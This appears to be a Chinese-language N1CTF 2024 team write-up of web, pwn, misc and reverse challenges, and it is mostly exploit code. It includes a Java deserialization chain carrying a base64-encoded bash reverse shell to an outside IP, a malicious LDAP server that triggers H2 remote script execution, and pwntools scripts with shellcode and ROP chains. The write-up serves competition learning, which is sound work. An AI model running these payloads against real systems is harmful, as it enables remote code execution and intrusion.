N1CTF 2024 By W&M
WEB
ezjava
admin/admin 正常登录
访问source
提示不是jsrc用户,猜了一下 jsrc是 jwt key 就没有然后了
暂时无法在飞书文档外展示此内容
反序列化
黑名单如下
// 弱黑名单 通过bytes比较
java.util.HashMap
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.alibaba.fastjson.JSONArrayLlist
javax.management.BadAttributeValueExpException
com.sun.syndication.feed.impl.ToStringBean
java.security.SignedObject
com.sun.rowset.JdbcRowSetImpl
弱黑名单可以用utf-8-overlong直接绕过,墙黑名单ban了和没ban一样的,没啥区别,直接打jackson的pojonode就行了。exp如下
package com.javasec.pocs.jackson;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.javasec.utils.SerializeUtils;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
/**
* newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:497, Method (java.lang.reflect)
* serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
* serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
* serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
* defaultSerializeValue:1148, SerializerProvider (com.fasterxml.jackson.databind)
* serialize:115, POJONode (com.fasterxml.jackson.databind.node)
* _serializeNonRecursive:105, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
* serialize:85, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)
* serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
* serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
* _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
* serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
* serialize:1572, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
* _writeValueAndClose:1273, ObjectWriter (com.fasterxml.jackson.databind)
* writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)
* nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)
* toString:238, BaseJsonNode (com.fasterxml.jackson.databind.node)
* equals:392, XString (com.sun.org.apache.xpath.internal.objects)
* equals:104, HotSwappableTargetSource (org.springframework.aop.target)
* putVal:634, HashMap (java.util)
* readObject:1397, HashMap (java.util)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:497, Method (java.lang.reflect)
* invokeReadObject:1058, ObjectStreamClass (java.io)
* readSerialData:1900, ObjectInputStream (java.io)
* readOrdinaryObject:1801, ObjectInputStream (java.io)
* readObject0:1351, ObjectInputStream (java.io)
* readObject:371, ObjectInputStream (java.io)
* base64deserial:48, SerializeUtils (com.javasec.utils)
* main:21, XstringTemplateChain (com.javasec.pocs.jackson)
*/
public class XstringTemplateChain {
public static void main(String[] args) throws Exception{
SerializeUtils.OverideJackson();
// Templates templates = SerializeUtils.getTemplateByclass("/Applications/CTFLearning/JavaSec/target/production/JavaSec/com/javasec/memshell/HW/IndexController.class");
Templates templates = SerializeUtils.getTemplate("bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3OCA8JjEi}|{base64,-d}|{bash,-i}");
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("poc",templates);
POJONode jsonNodes = new POJONode(proxy);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
// 执行序列化与反序列化,并且返回序列化数据
HashMap<Object, Object> map = SerializeUtils.makeMap(h1, h2);
System.out.println(base64serial(map));
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
CustomObjectOutputStream oos = new CustomObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
}
直接sudo读flag就行了。
LDAP
actuator 接口泄露
暂时无法在飞书文档外展示此内容
Heapdump
{
"_links": {
"self": {
"href": "http://10.233.71.102:8080/actuator",
"templated": false
},
"beans": {
"href": "http://10.233.71.102:8080/actuator/beans",
"templated": false
},
"caches": {
"href": "http://10.233.71.102:8080/actuator/caches",
"templated": false
},
"caches-cache": {
"href": "http://10.233.71.102:8080/actuator/caches/{cache}",
"templated": true
},
"health-path": {
"href": "http://10.233.71.102:8080/actuator/health/{*path}",
"templated": true
},
"health": {
"href": "http://10.233.71.102:8080/actuator/health",
"templated": false
},
"info": {
"href": "http://10.233.71.102:8080/actuator/info",
"templated": false
},
"conditions": {
"href": "http://10.233.71.102:8080/actuator/conditions",
"templated": false
},
"configprops": {
"href": "http://10.233.71.102:8080/actuator/configprops",
"templated": false
},
"configprops-prefix": {
"href": "http://10.233.71.102:8080/actuator/configprops/{prefix}",
"templated": true
},
"env-toMatch": {
"href": "http://10.233.71.102:8080/actuator/env/{toMatch}",
"templated": true
},
"env": {
"href": "http://10.233.71.102:8080/actuator/env",
"templated": false
},
"loggers-name": {
"href": "http://10.233.71.102:8080/actuator/loggers/{name}",
"templated": true
},
"loggers": {
"href": "http://10.233.71.102:8080/actuator/loggers",
"templated": false
},
"heapdump": {
"href": "http://10.233.71.102:8080/actuator/heapdump",
"templated": false
},
"threaddump": {
"href": "http://10.233.71.102:8080/actuator/threaddump",
"templated": false
},
"metrics": {
"href": "http://10.233.71.102:8080/actuator/metrics",
"templated": false
},
"metrics-requiredMetricName": {
"href": "http://10.233.71.102:8080/actuator/metrics/{requiredMetricName}",
"templated": true
},
"scheduledtasks": {
"href": "http://10.233.71.102:8080/actuator/scheduledtasks",
"templated": false
},
"mappings": {
"href": "http://10.233.71.102:8080/actuator/mappings",
"templated": false
}
}
}
查看 mappings 发现 source 端点
源码泄露路由
@GetMapping("/lookup")
public String lookup(String path) {
try {
String url = "ldap://" + path;
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
return "ok";
}catch (NamingException e){
return "failed";
}
}
并且题目的环境是jdk17,这里就涉及到一个JDK17环境下的Ldap打法,我们先尽可能的搜集信息。
configprops根据hint去搜索pool,就只能看到Tomcat Connection,这里fuzz了一波发现是tomcat-jdbc依赖。我们可以配合h2去打一个rce就好。但是我们还需要注意一个东西
trustSerialData为false
那么就说明我们无法走ldap的deserialization路线,只能选择走下面的decodeRefence去配合ObjectFacotry打一个组合拳。而我们想走decodeRefence就需要设置javaNamingRefence
我们成功的进入了decodeReference,在这里我们会对我们传入的attrs做一个处理,去new一个Reference对象
我们选择我们的组合拳套餐。我们配合tomcat-jdbc去打h2,但这里还有个问题就是指定h2的jdbcUrl,这里我们需要利用到另一个变量
javaReferenceAddr,我们会取ldapserver给的这个值,然后对他做一个分隔处理。可以看到上图中用@隔开了变量名和值,传入了url为恶意的jdbc字符串。随之我们就会进入DatasourceFactory#getObjectInstance
最终发起H2连接RCE。
恶意Server内容如下
import java.net.*;
import java.text.ParseException;
import java.util.Base64;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class HackerLDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#org.apache.tomcat.jdbc.pool.DataSourceFactory")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "javax.sql.DataSource");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Reference Factory **/
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("javaReferenceAddress", "@0@url@jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8x/poc.sql'");
// e.addAttribute("javaReferenceAddress", "@0@url@jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('open /')\n$$\n");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://x/poc.sql'";
e.addAttribute("driverClassName","org.h2.Driver");
e.addAttribute("jdbcUrl",url);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void main(String[] args) throws Exception {
// System.out.println("HttpServerAddress: "+args[0]);
// System.out.println("HttpServerPort: "+args[1]);
// System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = "127.0.0.1";
int ldap_port = 8089;
int http_server_port = 8001;
CodebaseServer.lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
PWN
mazecodev1
shellcode题, 需要shellcode 模4能走过迷宫
#########################################
#S # # # # #
##### # # ######### ### ### ### # ### # #
# # # # # # # # # # #
### ####### # ### ### ### ####### ### # #
# # # # # # # # # # # #
# # ### ####### ### # # # # ### # # ### #
# # # # # # # # # # # # # #
# ### # # ### ### # ### ##### ##### # # #
# # # # # # # # # # # # #
### # ####### # # ### # # ### # # ### ###
# # # # # # # # # # # # # # #
# ### # ### # # # # # ####### # # # # # #
# # # # # # # # # # # # # # #
# # ##### # ##### # # # ### ##### # ### #
# # # # # # # # # # # # #
# ### # # # # ### ####### ### # ##### # #
# # # # # # # # # # #
### # # ##### # ### # ########### ##### #
# # # # # # # # #
# ### ##### ####### ######### # ### ### #
# # # # # # # # #
# # ### ##### ##### # ##### # # ##### # #
# # # # # # # # # # # # # #
##### # # # ### # ### # # # ##### # #####
# # # # # # # # # # # # #
# ### ##### # # ### ### # # # ######### #
# # # # # # # # # # #
# # # # ##### # ### ############# # ### #
# # # # # # # # # # # #
# # ### # ####### # # ### # # # ##### # #
# # # # # # # # # # # # # #
# # # ### # # # # # ### ##### ### # # ###
# # # # # # # # # # # # # #
# ### # ####### # ### # # # # ######### #
# # # # # # # # # # # #
# # ##### ##### ### ####### ##### # # # #
# # # # # # # # # # #
# ##### ### # ### # # ### ##### # # #####
# # # # # # T#
#########################################
路径:
\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x02\x02\x01\x01\x02\x02\x02\x02\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x03\x03\x02\x02\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x02\x02\x03\x03\x00\x00\x03\x03\x02\x02\x02\x02\x01\x01\x01\x01
Sinal byte code:
&3 = 0
0: 40 rex
0: 44 rex.R
0: 48 rex.W
0: 4c rex.WR
0: 50 push rax
0: 54 push rsp
0: 58 pop rax
0: 5c pop rsp
0: 90 nop
0: 94 xchg esp, eax
0: 98 cwde
0: 9c pushf
0: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
&3 = 1
0: 41 rex.B
0: 45 rex.RB
0: 49 rex.WB
0: 4d rex.WRB
0: 51 push rcx
0: 55 push rbp
0: 59 pop rcx
0: 5d pop rbp
0: 91 xchg ecx, eax
0: 95 xchg ebp, eax
0: 99 cdq
0: 9d popf
0: c9 leave
&3 = 2
0: 42 rex.X
0: 46 rex.RX
0: 4a rex.WX
0: 4e rex.WRX
0: 52 push rdx
0: 56 push rsi
0: 5a pop rdx
0: 5e pop rsi
0: 92 xchg edx, eax
0: 96 xchg esi, eax
&3 = 3
0: 43 rex.XB
0: 47 rex.RXB
0: 4b rex.WXB
0: 4f rex.WRXB
0: 53 push rbx
0: 57 push rdi
0: 5b pop rbx
0: 5f pop rdi
0: 93 xchg ebx, eax
0: 97 xchg edi, eax
0: c3 ret
Code:
"\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x02\x02\x01\x01\x02\x02\x02\x02\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x03\x03\x02\x02\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x02\x02\x03\x03\x00\x00\x03\x03\x02\x02\x02\x02\x01\x01\x01\x01"
# lea rsi, [rip] = 0x48 0x8d 0x35 0x0 0x0 0x0 0x0
# ->\x00\x01\x01\x00\x00\x00\x00
# # syscall
# 0x0f 0x5f
# syscall = \x03\x01 可以在任意\x03前插入 \x03\x01\x02
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwn')
exe = context.binary = ELF(exe_path)
# libc = ELF('')
host = "116.198.74.135"
port = 35285
if sys.argv[1] == 'r':
p = remote(host, port)
elif sys.argv[1] == 'p':
p = process(exe_path)
else:
p = gdb.debug(exe_path, 'b * 0x401744')
def gdb_pause(p):
gdb.attach(p)
pause()
res_s= b"\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x02\x02\x01\x01\x02\x02\x02\x02\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x03\x03\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x03\x03\x02\x02\x02\x02\x01\x01\x02\x02\x03\x03\x03\x03\x02\x02\x01\x01\x01\x01\x02\x02\x01\x01\x00\x00\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x02\x02\x01\x01\x02\x02\x02\x02\x03\x03\x00\x00\x03\x03\x02\x02\x02\x02\x01\x01\x01\x01"
res = b"\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x92\x92\x95\x95\x92\x92\x92\x92\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x90\x90\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x92\x92\x92\x92\x92\x92\x92\x92\x93\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"
# res = b"\x95\x95\x95\x95\x92"
#"\x92\x95\x95\x90\x90\x95\x95
#\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x92\x92\x95\x95\x92\x92\x92\x92\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90
# \x90\x95\x95\x90\x90\x90\x90 \x90
#
# #\x90\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x92\x92\x92\x92\x92\x92\x92
#\x92\x93
#\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"
res1 = b"\x95\x95\x95\x95\x92"
res2 = asm("mov al, 0x06")
res3 = b"\x92\x90\x92\x95\x95"+asm("add al, 0x4")+b"\x95\x95"
res4 = asm("mov si, 0x1000")
res5 = b"\x92\x92\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x92\x92\x95\x95\x92\x92\x92\x92\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x95\x95\x92\x92\x95\x95\x90"
res6 = asm("lea rdi, [rip]")
res7 = b"\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90"+asm("sub dil, 0x4d")+b"\x95\x95\x92\x92\x92\x92\x92\x92\x92\x90\x92"
res8 = asm("mov dl, 0x7") + asm("syscall")
# res9 = b"\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"
res9 = b"\x93\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95" +asm("mov dh, 0x2") + asm("xor al,al")+b"\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90"+asm("lea rsi, [rdi]")+b"\x92"+asm("xor rdi, rdi")+b"\x95"
res9+=b"\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x90\x92\x95"+asm("syscall")+b"\x95\x95\x95"
# mov dh, 0x2 \x92\x92
# xor al,al \x90\x90
# mov rsi, rdi \x90\x95\x93
# xor dil, dil \x90\x95\x93
# res7 = b"\x93\x92\x92\x92\x92\x93\x93\x92"
# res8 = asm("xor ")
# res7 = asm("syscall")
# res3 = b"\x95\x95\x90\x90\x90\x90\x95\x95\x90\x90\x90\x90\x95\x95\x92\x92\x92\x92\x92\x92\x92"
# res4 = asm("mov dl, 0xff")
# # res5 = asm("syscall")
# res6 = b"\x93\x92\x92\x92"
# res7 = asm("mov dl, 0x")
# # \x92\x93
# "\x93\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x93\x93\x92\x92\x92\x92\x95\x95\x92\x92\x93\x93\x93\x93\x92\x92\x95\x95\x95\x95\x92\x92\x95\x95\x90\x90\x95\x95\x95\x95\x92\x92\x92\x92\x93\x93\x92\x92\x95\x95\x92\x92\x92\x92\x93\x93\x90\x90\x93\x93\x92\x92\x92\x92\x95\x95\x95\x95"
# res = res1+res2+res3+res4+res5+res6
# lea rsi, [rip] = 0x48 0x8d 0x35 0x0 0x0 0x0 0x0
# ->\x90\x95\x95\x90\x90\x90\x90
# \x92\x93
# 0xb20xff%
# syscall = \x93\x95
# mov dl, 0xff
# \x92\x93
# 0xb20xff%
# mov al, 0x0a > \x90\x92
# xor al, al > \x90\x90
# \x90 > nop
# \x95 > 95 xchg ebp, eax
# \x92 > 96 xchg esi, eax
# \x93 > 93 xchg ebx, eax
def pwn():
# print("num"+str(num))
payload = res1 + res2 + res3 + res4 + res5 + res6 + res7 + res8 + res9
if b"\n" in payload:
print("newline")
shellcode = """
mov rax, 0x3b
mov rcx, 0x68732f6e69622f
mov rdi, 0x4040B0
mov [rdi], rcx
xor rdx, rdx
xor rsi, rsi
syscall
"""
p.sendline(payload)
# print(len(res))
# pause()
p.sendline(asm(shellcode).rjust(0x200, asm("nop")))
p.interactive()
pwn()
我一直win
rust写的游戏
Maybe 灵感来源于 2024defcon Q saferust
两个进程race condition,有printf地址,还需要绕过一个seccomp
from pwn import *
context.timeout = 3
tokens = 5
def init():
# r = process('./', level="error")
r = remote("116.198.74.135",53024)
r.recvuntil(b"username:")
r.sendline(b"publicqi")
r.recvuntil(b"password:")
r.sendline(b"fuxk")
return r
def do_save(r):
r.recvuntil(b"What would you like to do?")
r.sendline(b"2")
def do_guess(r, guess=b"3"):
global tokens
r.recvuntil(b"What would you like to do?")
r.sendline(b"1")
r.recvuntil(b"Guess a number between 0 and 5:")
r.sendline(guess)
result = r.recvuntil(b"tokens")
r.recvuntil(b"----------------------------------------------")
buf = r.recvuntil(b"tokens.")
# print(b"buf:"+buf)
tokens = int(re.search(r'\d+', buf.decode()).group(), 10)
return b"Congratulations" in result
def fuxk():
global tokens
guessing_process = init()
do_save(guessing_process)
saving_process = init()
while tokens < 83886080*4:
print(f"tokens: {tokens}")
if do_guess(guessing_process):
# tokens *= 2
do_save(guessing_process)
# tokens *= 2
saving_process.close()
saving_process = init()
else:
do_save(saving_process)
guessing_process.close()
guessing_process = init()
try:
guessing_process.close()
saving_process.close()
except EOFError:
pass
def Write(addr,payload):
p.recvuntil(b"Addr")
p.send(addr)
p.recvuntil(b"Content:")
p.send(payload)
# os.system("rm /tmp/saved_users.json")
fuxk()
libc = ELF("./libc.so.6")
r = init()
p = r
p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b"0x")
printf_addr = int(p.recv(12),16)
print(hex(printf_addr))
libc_base = printf_addr - libc.sym["printf"]
print(hex(libc_base))
got0 = libc_base + 0x21a000
strlen_got = got0 + 0x98
memset_got = got0 + 0xd8
magic_gadget = 0x167E11 + libc_base
m_addr2 = 0xC5BF8 + libc_base
Write(p64(strlen_got-0x8),p64(0x9034B + libc_base)+p64(magic_gadget) + p64(libc_base + libc.sym["gets"])*2 )
pop_rdi_ret = 0x000000000002a3e5 + libc_base
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_r12_ret = 0x000000000011f2e7 + libc_base
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = 0x0000000000091316 + libc_base
pop_rsp_ret = 0x0000000000035732 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & ~0xfff
payload = p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(free_hook1)
payload += p64(pop_rdx_r12_ret) + p64(0x10000) + p64(0)
payload += p64(pop_rax_ret) + p64(0) + p64(syscall_ret)
payload += p64(pop_rsp_ret) + p64(free_hook1)
# attach(p)
p.sendline(payload)
payload = p64(pop_rdi_ret) + p64(0xffffffffffffffff)
payload += p64(pop_rsi_ret) + p64(free_hook1 + 0x300)
payload += p64(pop_rdx_r12_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(257) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(free_hook1 + 0x400)
payload += p64(pop_rdx_r12_ret) + p64(0x100)*2
payload += p64(pop_rax_ret) + p64(0) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(free_hook1 + 0x400)
payload += p64(pop_rdx_r12_ret) + p64(0x100)*2
payload += p64(pop_rax_ret) + p64(1) + p64(syscall_ret)
payload = payload.ljust(0x300,b"\x00")
payload += b"/flag"
p.send(payload)
r.interactive()
MISC
flag_video_version
udp12345端口传奇怪协议,和去年一样
开头传了个sdp.txt,简单了解一下,得知是sdp协议,并且这里是H264编码
对着udp流右键选decode as,然后选rtp就可以清晰的看到协议格式了
同时可以清楚的看到还分序列号
先全部提取出来
tshark -r challenge.pcapng -T fields -Y "udp" -e data.data | sed '/^\s*$/d' > 1.txt
然后根据wireshark的解析提纯,再按照序列号进行排序
f = open("1.txt").readlines()
all = {}
for i in f:
ii = i.strip()
seq = int(ii[4:8], 16)
data = ii[24:]
all[seq] = data
with open("out.mp4", "wb")as out:
for i in range(1246):
out.write(bytes.fromhex(all[i]))
就得到flag了
Reverse
Hot-Soup
动调能扒出来一个ax文件 start.ax
https://github.com/YSRKEN/HSP-Decompiler/releases/tag/Ver.1.1
反编译ax为hsp hsp文件中包含调用的函数信息 是wincrypt的函数 结合在对应API调试写出解密代码
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
BOOL deHashData(const BYTE* pbData, DWORD dwDataLen, BYTE* pbHash, DWORD* dwHashLen) {
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
HCRYPTKEY hKey = 0;
BOOL bResult = FALSE;
LPCSTR str = "Microsoft Enhanced RSA and AES Cryptographic Provider";
CryptAcquireContextA(&hProv, NULL, str, 0x18, 0xF0000000);
CryptCreateHash(hProv, 0x800C, 0, 0, &hHash);
CryptHashData(hHash, pbData, dwDataLen, 0);
CryptDeriveKey(hProv, 0x660E, hHash, 0, &hKey);
CryptDecrypt(hKey, 0, 1, 0, pbHash, dwHashLen);
return 1;
}
int main() {
const BYTE data[32] = { 0x8A,0xE0,0x2E,0x82,0x3B,0xA1,0xAC,0x07,0xF3,0xE3,0xE9,0x89,0xFD,0x55,0x24,0x60,0x21,0x2C,0x13,0x78,0x6D,0xD1,0xCA,0xA4,0x36,0xD6,0xDF,0x34,0x59,0x2F,0xCC,0xC9 };
DWORD dwHashLen = 48;
BYTE hash[48] = { 170,171,238,146,108,213,219,252,124,214,109,121,137,14,215,200,6,43,199,235,37,127,36,26,26,8,64,90,135,71,236,42,30,3,226,241,42,141,217,58,190,54,192,21,61,74,144,7 };
deHashData((const BYTE*)data, 0x20, hash, &dwHashLen);
